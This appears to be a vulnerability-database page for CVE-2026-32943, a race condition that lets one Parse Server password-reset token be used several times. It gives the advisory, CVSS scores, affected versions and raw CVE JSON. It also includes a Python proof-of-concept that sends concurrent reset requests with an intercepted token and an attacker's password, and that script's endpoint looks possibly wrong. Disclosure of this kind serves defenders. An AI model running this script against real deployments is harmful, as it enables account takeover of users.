Security Vulnerability Report
中文
CVE-2026-32943 CVSS 3.1 LOW

CVE-2026-32943

Published: 2026-03-18 22:16:26
Last Modified: 2026-03-19 16:55:37

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.28 and 8.6.48, the password reset mechanism does not enforce single-use guarantees for reset tokens. When a user requests a password reset, the generated token can be consumed by multiple concurrent requests within a short time window. An attacker who has intercepted a password reset token can race the legitimate user's password reset request, causing both requests to succeed. This may result in the legitimate user believing their password was changed successfully while the attacker's password takes effect instead. All Parse Server deployments that use the password reset feature are affected. Starting in versions 9.6.0-alpha.28 and 8.6.48, the password reset token is now atomically validated and consumed as part of the password update operation. The database query that updates the password includes the reset token as a condition, ensuring that only one concurrent request can successfully consume the token. Subsequent requests using the same token will fail because the token has already been cleared. There is no known workaround other than upgrading.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 8.6.48
Parse Server < 9.6.0-alpha.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-32943 PoC - Race Condition in Parse Server Password Reset # This PoC demonstrates how multiple concurrent requests can use the same reset token import requests import concurrent.futures import argparse def reset_password(base_url, token, new_password): """ Attempt to reset password using the reset token """ url = f"{base_url}/requestPasswordReset" data = { "token": token, "new_password": new_password } try: response = requests.post(url, json=data, timeout=10) return { "status_code": response.status_code, "response": response.text, "success": response.status_code == 200 } except Exception as e: return {"error": str(e), "success": False} def exploit_race_condition(base_url, token, attacker_password, num_threads=10): """ Send multiple concurrent password reset requests using the same token This exploits the race condition to set the password to the attacker's value """ print(f"[*] Starting race condition attack with {num_threads} concurrent requests...") print(f"[*] Target: {base_url}") print(f"[*] Token: {token}") with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [ executor.submit(reset_password, base_url, token, attacker_password) for _ in range(num_threads) ] results = [f.result() for f in concurrent.futures.as_completed(futures)] successful = [r for r in results if r.get("success")] print(f"[*] Completed {len(results)} requests") print(f"[*] Successful requests: {len(successful)}") if len(successful) > 1: print("[!] VULNERABLE: Multiple requests succeeded with the same token!") print("[!] The attacker may have successfully set their password") else: print("[*] Patch appears to be applied - only one request succeeded") return results if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-32943 PoC") parser.add_argument("--url", required=True, help="Parse Server base URL") parser.add_argument("--token", required=True, help="Password reset token") parser.add_argument("--password", default="AttackerP@ss123!", help="Attacker's chosen password") parser.add_argument("--threads", type=int, default=10, help="Number of concurrent threads") args = parser.parse_args() exploit_race_condition(args.url, args.token, args.password, args.threads)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32943", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:25.810", "lastModified": "2026-03-19T16:55:36.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.28 and 8.6.48, the password reset mechanism does not enforce single-use guarantees for reset tokens. When a user requests a password reset, the generated token can be consumed by multiple concurrent requests within a short time window. An attacker who has intercepted a password reset token can race the legitimate user's password reset request, causing both requests to succeed. This may result in the legitimate user believing their password was changed successfully while the attacker's password takes effect instead. All Parse Server deployments that use the password reset feature are affected. Starting in versions 9.6.0-alpha.28 and 8.6.48, the password reset token is now atomically validated and consumed as part of the password update operation. The database query that updates the password includes the reset token as a condition, ensuring that only one concurrent request can successfully consume the token. Subsequent requests using the same token will fail because the token has already been cleared. There is no known workaround other than upgrading."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede implementarse en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 9.6.0-alpha.28 y 8.6.48, el mecanismo de restablecimiento de contraseña no aplica garantías de un solo uso para los tokens de restablecimiento. Cuando un usuario solicita un restablecimiento de contraseña, el token generado puede ser consumido por múltiples solicitudes concurrentes dentro de una ventana de tiempo corta. Un atacante que ha interceptado un token de restablecimiento de contraseña puede competir con la solicitud de restablecimiento de contraseña del usuario legítimo, haciendo que ambas solicitudes tengan éxito. Esto puede resultar en que el usuario legítimo crea que su contraseña fue cambiada exitosamente mientras que la contraseña del atacante entra en vigor en su lugar. Todas las implementaciones de Parse Server que utilizan la función de restablecimiento de contraseña están afectadas. A partir de las versiones 9.6.0-alpha.28 y 8.6.48, el token de restablecimiento de contraseña ahora se valida y consume atómicamente como parte de la operación de actualización de contraseña. La consulta a la base de datos que actualiza la contraseña incluye el token de restablecimiento como una condición, asegurando que solo una solicitud concurrente pueda consumir exitosamente el token. Las solicitudes posteriores que utilicen el mismo token fallarán porque el token ya ha sido borrado. No existe una solución alternativa conocida aparte de la actualización."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, ... (truncated)